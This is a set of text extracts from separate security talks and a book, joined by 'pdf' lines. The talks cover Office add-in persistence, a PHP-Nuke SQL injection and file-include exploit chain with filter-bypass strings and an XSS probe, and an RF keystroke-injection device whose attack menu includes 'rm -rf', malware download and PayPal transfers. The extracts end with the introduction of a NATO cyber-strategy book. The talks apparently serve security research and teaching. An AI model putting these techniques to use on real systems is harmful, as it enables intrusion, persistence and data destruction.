Efficiency...? Don't underestimate attackers... Bumping Hammers Side Pins Side Pins Side Pins Side Pins Side Pins Regional Sidebar Attacks  ASSA Twin Combi  Schlage Primus  Fichet 480  The list goes on...  Schlage is doing it wrong. One Last Way Schlage Is Doing It Wrong: LFIC  BEST SFIC  Small Format Interchangable Core  Schlage LFIC  6.5 Control Key Passive Components What have we learned? Resources  openlocksport.com  lockwiki.com  lockpickingforensics.com  ndemag.com Meet us at Q&A!
pdf
PUBLIC Persisting with Microsoft Office: Abusing Extensibility Options William Knowles PUBLIC Obligatory $whoami • William Knowles • Security Consultant at MWR InfoSecurity • @william_knows 1 PUBLIC Agenda • DLL • VBA • COM • VSTO • Prevention and Detection 2 PUBLIC Motivations • It’s –everywhere- and it’s got lots of use cases • Office templates? What else? 3 PUBLIC Word … Linked Libraries? • It’s just a DLL … • “… are standard Windows DLLs that implement and export specific methods to extend Word functionality” • “… no enhancements and no documentation updates to Word WLLs since Microsoft Office 97” 4 PUBLIC Excel (XLL?) too … • Slightly more updated … latest SDK from 2007. • You need to export the right functions. • Also slightly more configuration: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options 5 PUBLIC DLL Add-Ins for Word and Excel PUBLIC Excel VBA Add-Ins • It’s all VBA, no spreadsheets. • *.xla // *.xlam 7 PUBLIC PowerPoint VBA Add-Ins • *.ppa // *.ppam • Again, it’s inconsistent, and needs manual configuration: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint\AddIns\<AddInName> 8 PUBLIC VBA Add-Ins for Excel and PowerPoint … and others PUBLIC COM in Two Minutes • Based on OLE and ActiveX – it’s a standard to enable component interaction. • COM objects, DLLs and .Net 10 PUBLIC COM Add-Ins for * • COM – the legacy way is always a good way. • The “IDTExtensibility2” interface. • Registration can be problematic … HKEY_CURRENT_USER\Software\Microsoft\Office\<Program>\Addins\<AddInName> • Register with “regasm.exe /codebase InconspicuousAddIn.dll”. 11 PUBLIC =sum(calc) with Excel Automation Add-Ins • Specific COM use case – for user defined functions. HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Excel\Options • Register again with “regasm.exe”. 12 PUBLIC =sum(calc) with Excel Automation Add-Ins 13 PUBLIC Attacking VBA Snoopers with VBE Add-Ins • Why? Why? Why? • More registry edits, more “regasm.exe” HKEY_CURRENT_USER\Software\Microsoft\VBA\VBE\6.0\Addins\<VBEAddIn.Name> 14 PUBLIC COM Add-Ins PUBLIC *.VSTO • Visual Studio Tools for Office – it’s a COM replacement and requires a special runtime. • Build and install – very, very loudly. 16 PUBLIC VSTO Add-Ins PUBLIC Defending Against Malicious Add-Ins • Easy for XLL, COM, Automation, and VSTO add-ins: • If required – sign and disable notifications. 18 PUBLIC Defending Against Malicious Add-Ins • For WLL and VBA add-ins … not so much. • (1) Remove or relocate trusted locations. • (2) Detective capability: – Monitor trusted locations for changes – Monitor registry keys used to enable add-ins. – Process relationships. 19 PUBLIC Conclusion @william_knows
pdf
masSEXploitation The Rook http://ppdhuluperak.gov.my Defaced! … and the next day.... PHPNuke.org too!? Eleonore Exploit Pack.  “What I cannot create, I do not understand.” – Richard Feynman Why? Overview “Layers of security.” --Unkown “Complexity is the worst enemy of security.” --Bruce Schneier ManageEngine Firewall Analyzer 5  CSRF  Execute SQL quires (Not injection)  Create a new administrative account  XSS  The results from a sql query  SELECT “<script>alert(/xss/)</script>” Profense Web Application Firewall  "Defenses against all OWASP Top Ten vulnerabilities"  CSRF - CVE-2009-0468  Proxy for MITM  Configuration changes  Shutdown the machine (DoS)  Reflective XSS - CVE-2009-0467 The PHP-Nuke Exploit (Aug 2009) ● PHP-Nuke 8.1.35 ● (User account Required!) ● SQL Injection ● Get admin ● Broken admin ● Path disclosure ● Filter Bypass ● Another sql injection ● Local File Include (Nov 2004) ● PHP-Nuke 7.0 ● SQL Injection ● Get admin ● Broken admin ● Enable phpBB ● Filter Bypass ● Eval() The PHP-Nuke Exploit The PHP-Nuke Exploit The PHP-Nuke Exploit ● (OWASP A1) SQL Injection ● (OWASP A3) Broken Authentication ● (CWE-200) Information Exposure ● (CWE-436) Filter Bypass ● (OWASP A1) SQL Injection (Again!) ● (CWE-98) Local File Include (LFI) The PHP-Nuke Exploit The PHP-Nuke Exploit ● (OWASP A1) SQL Injection ● (OWASP A3) Broken Authentication ● (CWE-200) Information Exposure ● (CWE-436) Filter Bypass ● (OWASP A1) SQL Injection (Again!) ● (CWE-98) Local File Include (LFI) DEMO! Fruit Analogy PHP-Nuke Exploit  OWASP A1: Injection ● SQL Injection in the Journal module to get administrative credentials PHP-Nuke Exploit  OWASP A3: Broken Authentication and Session Management ● ● ● ● ● Shortcut to admin privileges PHP-Nuke Exploit  PHP-Nuke Login:  Secure Login: Overview ● PoC Exploit: PHPSecInfo Rocks! Demo!  Why 2 sql injection exploits? ●(CWE-436)Filter Bypass  '%20union%20'  '*/union/*'  ' union ' ●(CWE-436)Filter Bypass  '%20union%20'  '*/union/*'  ' union ' PHPMyAdmin CSRF+SQLi=RCE (CVE-2008-5621) PHP-Nuke Exploit  PHP Local File Include->Remote Code Execution.  AppArmor will not allow MySQL write to /var/www/ (Even if its chomd 777!) PHP-Nuke Exploit  SQL Injection To create a file in /tmp/  AppArmor allows this.  Local File Include to execute the file in /tmp/ SELinux doesn't allow this! PHP-Nuke Exploit ● Eval() and preg_replace /e ● SELinux does not stop this. Study in Scarlet (http://www.securereality.com.au/studyinscarlet.txt) PHP-Nuke Exploit END
pdf
Universal RF Usb Keyboard Emulation Device URFUKED -by Monta Elkins monta.defcon @ geekslunch.com version .08 6/2010 Updates at: http://www.hackerwarrior.com/urfuked Updates at: http://www.hackerwarrior.com/urfuked Hardware Receiver (plugged into spare USB port) Quarter “Teensy” Microcontroller RF receiver  On the back ●Receiver is very  small ●Can be encased in  plastic to look like a  typical USB key Pwner portable, battery powered, rf transmitter Power Switch LEDs Show What Attack to Perform Input Switch Set Attack 0wnzred Switch Transmits Attack Hardware Construction Teensy uc Transmitter Transmitter Datasheet http://www.sparkfun.com/datasheets/Wireless/General/MO­SAWR.pdf Data Pin D3 (tx) Teensy 2.0 Receiver Receiver Datasheet http://www.sparkfun.com/datasheets/Wireless/General/MO­RX3400.pdf Data Pin  is D2 Antenna is  23 cm long Teensy 2.0 Use either of  two Ground  Pins on  Teensy  (connect all  reciever  grounds) Use either of  two Vcc pins  on Teensy Receiver Construction “Teensy” 2.0  Microcontroller $18 Sparkfun RF  Reciever 315 Mhz $4.95 Construction consists of soldering 7 wires. Simple! Pwner Construction (rf transmitter) “Front” View “Rear” View “Teensy” Microcontroller $18 Sparkfun RF Transmitter $3.95 Teensy Pins Pwner Schematic Pwner Case Pwner Case Receiver Assembled Live Demo Canned Demo Windows Attack 01 URFUKED opens  the windows  run  dialog box using the  keyboard shortcut  “windows key” + R In this demo it runs  the benign  command  “notepad.exe”­ but  any other valid  command could be  executed. Windows Attack 01 (continued) After opening the  notepad.exe window,  URFUKED types text  into the window in this  demonstration “attack” Inspiration Inspiration Inspired by (Adrian Crenshaw)  the IronGeek's: Programmable HID USB  Keystroke Dongle [PHUKD]. URFUKED overcomes the blind  timing, and attack selection  difficulties, by incorporating an  RF transmitter and expands the  concept to include multiple O.S.  attacks. [Adrian, I know you're here  somewhere, Thanks! I owe you  a beer.] Interface Details Using The Interface First two lights  represent O.S. to  attack: 01=Windows 10=Mac 11=Linux 00=Mouse Attack (for mouse attack the two  attack lights represent length  of attack) These two lights  represent the attack to  perform: 00 = notepad message 01 = web page load 10 = download software 11 = rm ­rf Easily expandable to 64  different attacks. Enter a “0” Enter a “1” Transmit Attack Transmission Protocol Transmission Frames ●3 Carrier Bytes (or more) 0xAA ●Command Sequence Number 0­127 ●Command  Byte Any value ●Checksum Command Sequence Number  + Command Byte Receiver continually “receives” bytes even when there is no  transmission due to ambiant RF noise.  I use these frames to  distinguish a transmission from noise. Valid Frame Definition: Transmission ●10 Carrier Bytes 0xAA ●Command Sequence Number 0­127 ●Command  Byte Any value ●Checksum Command Sequence Number  + Command Byte For reliability the transmitter sends the following command frame 10  times for each command send button press. x 10 Each command frame is repeated 10 times for redundancy­ the command is  only executed once by the receiver even if multiple valid copies are received  due to the Command Sequence Number. Software Software Location http://www.hackerwarrior.com/urfuked Attack Scenarios Scenarios Exfiltrate information from the target Infiltrate (plant) information on target computer Install remote administration tool or virus on the target Political style attacks Facebook postings In appropriate web browsing (in conjunction with mouse control Disabling attacks rm ­rf style Remove all files in home directory etc. Financial Attacks Paypal transfer attack Ebay bid attack Modifying Software for Unique Attacks Key Selection Sources Sources Part Source Price Teensy uc http://www.pjrc.com/store/teensy.html $18.00 Transmitter http://www.hvwtech.com/products_view.asp?ProductID=1042 http://www.sparkfun.com/commerce/pro duct_info.php?products_id=8945 $3.95 Receiver www.hvwtech.com/products_view.asp?ProductID=1041 http://www.sparkfun.com/commerce/pro duct_info.php?products_id=8948 $4.95 Buttons, LED's, misc. Available from a variety of sources http://www.digikey.com/ http://www.mouser.com/ http://www.radioshack.com USB adapter http://www.dealextreme.com/details.dx/s ku.2704~r.48687660 $1.07
pdf
© 2011 NATO Cooperative Cyber Defence Centre of Excellence, June 2011 All rights reserved. No part of this pub- lication may be reprinted, reproduced, stored in a retrieval system, or transmitted in any form or by any means, electronic, mechanical, photocopying, recording or otherwise, without the prior written permission of the NATO Cooperative Cyber Defence Centre of Excellence. Publisher: CCD COE Publication Filtri tee 12, 10132 Tallinn, Estonia Tel: +372 717 6800 Fax: +372 717 6308 E-mail: ccdcoe@ccdcoe.org www.ccdcoe.org Print: OÜ Greif Trükikoda Design & Layout: Marko Söönurm Legal notice NATO Cooperative Cyber Defence Centre of Excellence assumes no responsibility for any loss or harm arising from the use of information contained in this book. ISBN 978-9949-9040-5-1 (print) ISBN 978-9949-9040-6-8 (epub) ISBN 978-9949-9040-7-5 (pdf) KENNETH GEERS STRATEGIC CYBER SECURITY NATO Cooperative Cyber Defence Centre of Excellence Abstract This book argues that computer security has evolved from a technical discipline to a strategic concept. The world’s growing dependence on a powerful but vulnerable Internet – combined with the disruptive capabilities of cyber attackers – now threat- ens national and international security. Strategic challenges require strategic solutions. The author examines four nation- state approaches to cyber attack mitigation. • Internet Protocol version 6 (IPv6) • Sun Tzu’s Art of War • Cyber attack deterrence • Cyber arms control The four threat mitigation strategies fall into several categories. IPv6 is a technical solution. Art of War is military. The third and fourth strategies are hybrid: deter- rence is a mix of military and political considerations; arms control is a political/ technical approach. The Decision Making Trial and Evaluation Laboratory (DEMATEL) is used to place the key research concepts into an influence matrix. DEMATEL analysis demon- strates that IPv6 is currently the most likely of the four examined strategies to improve a nation’s cyber defense posture. There are two primary reasons why IPv6 scores well in this research. First, as a technology, IPv6 is more resistant to outside influence than the other proposed strategies, particularly deterrence and arms control, which should make it a more reliable investment. Second, IPv6 addresses the most significant advantage of cyber attackers today – anonymity. About the Author Kenneth Geers, PhD, CISSP, Naval Criminal Investigative Service (NCIS), is a Scientist and the U.S. Representative to the North Atlantic Treaty Organization Cooperative Cyber Defence Centre of Excellence (NATO CCD COE) in Tallinn, Estonia. To Jeanne 6 CONTENTS I. INTRODUCTION . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 1. Cyber Security and National Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 THE NATURE AND SCOPE OF THIS BOOK . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 RESEARCH OUTLINE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 II. BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 2. Cyber Security: A Short History . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 THE POWER OF COMPUTERS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 THE RISE OF MALICIOUS CODE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 LONE HACKER TO CYBER ARMY . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 NATIONAL SECURITY PLANNING . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28 MORE QUESTIONS THAN ANSWERS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 3. Cyber Security: A Technical Primer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 CYBER SECURITY ANALYSIS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 CASE STUDY: SAUDI ARABIA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 MODELING CYBER ATTACK AND DEFENSE IN A LABORATORY . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 4. Cyber Security: Real-World Impact . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 CYBER SECURITY AND INTERNAL POLITICAL SECURITY . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 CASE STUDY: BELARUS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72 INTERNATIONAL CONFLICT IN CYBERSPACE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 III. NATION-STATE CYBER ATTACK MITIGATION STRATEGIES . . . . . . . . . . . . . . . . . . . . . . . 87 5. Next Generation Internet: Is IPv6 the Answer? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87 IPV6 ADDRESS SPACE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87 IMPROVED SECURITY? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88 IPV6 ANSWERS SOME QUESTIONS, CREATES OTHERS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89 PRIVACY CONCERNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91 UNEVEN WORLDWIDE DEPLOYMENT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92 DIFFERENCES OF OPINION REMAIN. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94 6. Sun Tzu: Can Our Best Military Doctrine Encompass Cyber War? . . . . . . . . . . . . . . . . . . . 95 WHAT IS CYBER WARFARE? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 WHAT IS ART OF WAR? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96 STRATEGIC THINKING . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 CULTIVATING SUCCESS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 OBJECTIVE CALCULATIONS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102 TIME TO FIGHT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104 THE IDEAL COMMANDER . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107 7 ART OF CYBER WAR: ELEMENTS OF A NEW FRAMEWORK . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109 7. Deterrence: Can We Prevent Cyber Attacks? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 CYBER ATTACKS AND DETERRENCE THEORY . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 CYBER ATTACK DETERRENCE BY DENIAL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113 CYBER ATTACK DETERRENCE BY PUNISHMENT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117 MUTUALLY ASSURED DISRUPTION (MAD) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121 8. Arms Control: Can We Limit Cyber Weapons? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123 CYBER ATTACK MITIGATION BY POLITICAL MEANS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123 THE CHEMICAL WEAPONS CONVENTION . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124 CWC: LESSONS FOR CYBER CONFLICT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 TOWARD A CYBER WEAPONS CONVENTION . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127 THE CHALLENGES OF PROHIBITION AND INSPECTION . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130 IV. DATA ANALYSIS AND RESEARCH RESULTS. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132 9. DEMATEL and Strategic Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132 DEMATEL INFLUENCING FACTORS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133 NATIONAL SECURITY THREATS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133 KEY CYBER ATTACK ADVANTAGES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135 CYBER ATTACK CATEGORIES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137 STRATEGIC CYBER ATTACK TARGETS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 138 CYBER ATTACK MITIGATION STRATEGIES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139 10. Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142 THE “EXPERT KNOWLEDGE” MATRIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142 CAUSAL LOOP DIAGRAM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 146 CALCULATING INDIRECT INFLUENCE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147 ANALYZING TOTAL INFLUENCE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150 V. CONCLUSION . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155 11. Research contributions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155 SUGGESTIONS FOR FUTURE RESEARCH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 156 VI. BIBLIOGRAPHY . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158 8 Acknowledgements I would like to thank faith, hope, love, family, friends, NCIS, CCD CoE, TUT, my PhD advisor Professor emeritus Leo Võhandu, and Vana Tallinn. 9 Cyber Security and National Security I. INTRODUCTION 1. CYBER SECURITY AND NATIONAL SECURITY Cyber security has quickly evolved from a technical discipline to a strategic concept. Globalization and the Internet have given individuals, organizations, and nations incredible new power, based on constantly developing networking technology. For everyone – students, soldiers, spies, propagandists, hackers, and terrorists – infor- mation gathering, communications, fund-raising, and public relations have been digitized and revolutionized. As a consequence, all political and military conflicts now have a cyber dimension, the size and impact of which are difficult to predict, and the battles fought in cyber- space can be more important than events taking place on the ground. As with ter- rorism, hackers have found success in pure media hype. As with Weapons of Mass Destruction (WMD), it is difficult to retaliate against an asymmetric attack. The astonishing achievements of cyber espionage serve to demonstrate the high return on investment to be found in computer hacking. The start-up cost is low, and traditional forms of espionage, such as human intelligence, are more dangerous. Computer hacking yields free research and development data and access to sensitive communications. National leaders, who frequently address cyber espionage on the world stage, are worried.1 The use and abuse of computers, databases, and the networks that connect them to achieve military objectives was known in the early 1980s in the Soviet Union as the Military Technological Revolution (MTR). After the 1991 Gulf War, the Pentagon’s Revolution in Military Affairs was almost a household term.2 A cyber attack is not an end in itself, but a powerful means to a wide variety of ends, from propaganda to espionage, from denial of service to the destruction of critical infrastructure. The nature of a national security threat has not changed, but the Internet has provided a new delivery mechanism that can increase the speed, scale, and power of an attack. Dozens of real world examples, from the U.S. to Russia, from the Middle East to the Far East, prove that the ubiquity and vulnerability of the Internet have tangible po- litical and military ramifications. As the Internet becomes more powerful and as our dependence upon it grows, cyber attacks may evolve from a corollary of real-world disputes to play a lead role in future conflicts. 1 Spiegel, 2007; Cody, 2007. 2 Mishra, 2003. 10 INTRODUCTION In 1948, Hans Morgenthau wrote that national security depends on the integrity of a nation’s borders and its institutions.3 In 2011, military invasion and terrorist attack remain the most certain way to threaten the security of an adversary. However, as national critical infrastructures, including everything from elections to electricity, are computerized and connected to the Internet, national security planners will also have to worry about cyber attacks. It is a fact that large, complex infrastructures are easier to manage with comput- ers and common operating systems, applications, and network protocols. But this convenience comes at a price. Connectivity is currently well ahead of security, and this makes the Internet, and Internet users, vulnerable to attack. There are not only more devices connected to the Internet every day, but there are dozens of additions to the Common Vulnerabilities and Exposures (CVE) database each month.4 These combine to create what hackers call the expanding “attack surface.” Hackers tend to be creative people, and they are able to exploit such complexity to find ways to read, delete, and/or modify information without proper authorization. One paradox of the cyber battlefield is that both big and small players have advan- tages. Nations robust in IT exploit superior computing power and bandwidth; small countries and even lone hackers exploit the amplifying power of the Internet to attack a stronger conventional foe. Furthermore, Internet-dependent nations are a tempting target because they have more to lose when the network goes down. In cyber conflict, the terrestrial distance between adversaries can be irrelevant because everyone is a next-door neighbor in cyberspace. Hardware, software, and bandwidth form the landscape, not mountains, valleys, or waterways. The most powerful weapons are not based on strength, but logic and innovation. It is also true that cyber attacks are constrained by the limited terrain of cyberspace. There are many skeptics of cyber warfare. Basically, tactical victories amount to a successful reshuffling of the bits – the ones and zeros – inside a computer. Then the attacker must wait to see if anything happens in the real world. There is no guar- antee of success. Network reconfiguration, software updates, and human decision- making change cyber terrain without warning, and even a well-planned attack can fall flat.5 In fact, the dynamic nature of the Internet offers benefits to both an attacker and a defender. Many cyber battles will be won by the side that uses cutting-edge tech- nologies to greater advantage. Although an attacker has more targets to strike and 3 Morgenthau, 1948. 4 CVE, 2011. 5 Parks & Duggan, 2001. 11 Cyber Security and National Security more ways to hit them, a defender has the means to design an ever-increasing level of network redundancy and survivability.6 In 2011, an attacker’s most important advantage remains a degree of anonymity. Smart hackers hide within the international, maze-like architecture of the Internet. They route attacks through countries with which a victim’s government has poor diplomatic relations or no law enforcement cooperation. In theory, even a major cyber conflict could be fought against an unknown adversary. Law enforcement and counterintelligence investigations suffer from the fact that the Internet is an international entity, and jurisdiction ends every time a telecom- munications cable crosses a border. In the case of a state-sponsored cyber attack, international cooperation is naturally non-existent. The anonymity or “attribution” problem is serious enough that it increases the odds that damaging cyber attacks on national critical infrastructures will take place in the absence of any traditional, real-world warning, during times of nominal peace. Cyber defense suffers from the fact that traditional security skills are of marginal help in defending computer networks, and it is difficult to retain personnel with marketable technical expertise. Talented computer scientists prefer more exciting, higher-paying positions elsewhere. As a consequence, at the technical level, it can be difficult even knowing whether one is under cyber attack. At the political level, the intangible nature of cyberspace can make the calculation of victory, defeat, and battle damage a highly subjective undertaking. And with cyber law, there is still not enough expertise to keep pace with the threat. Finally, cyber defense suffers from the fact that there is little moral inhibition to computer hacking, which relates primarily to the use and abuse of computer code. So far, there is little perceived human suffering. All things considered, the current balance of cyber power favors the attacker. This stands in contrast to our historical understanding of warfare, in which the defender has traditionally enjoyed a home field advantage. Therefore, many governments may conclude that, for the foreseeable future, the best cyber defense is a good offense. First, cyber attacks may be required to defend the homeland; second, they are a powerful and sometimes deniable way to project national power. 6 Lewis, 2002. 12 INTRODUCTION Can a cyber attack pose a serious threat to national security? Decision makers are still unsure. Case studies are few in number, much information lies outside the pub- lic domain, there have been no wars between two first-class militaries in the Inter- net era, and most organizations are still unsure about the state of their own cyber security. Conducting an “information operation” of strategic significance is not easy, but neither is it impossible. During World War II, the Allies took advantage of having broken the Enigma cipher to feed false information to Adolf Hitler, signaling that the D-Day invasion would take place at Pas-de-Calais and not Normandy. This gave Allied forces critical time to establish a foothold on the continent and change the course of history.7 What military officers call the “battlespace” grows more difficult to define – and to defend – over time. Advances in technology are normally evolutionary, but they can be revolutionary – artillery reached over the front lines of battle; rockets and airplanes crossed national boundaries; today cyber attacks can target political lead- ership, military systems, and average citizens anywhere in the world, during peace- time or war, with the added benefit of attacker anonymity. Narrowly defined, the Internet is just a collection of networked computers. But the importance of “cyberspace” as a concept grows every day. The perceived threat is such that the new U.S. Cyber Command has declared cyberspace to be a new domain of warfare,8 and the top three priorities at the U.S. Federal Bureau of Investigation (FBI) are preventing terrorism, espionage, and cyber attacks.9 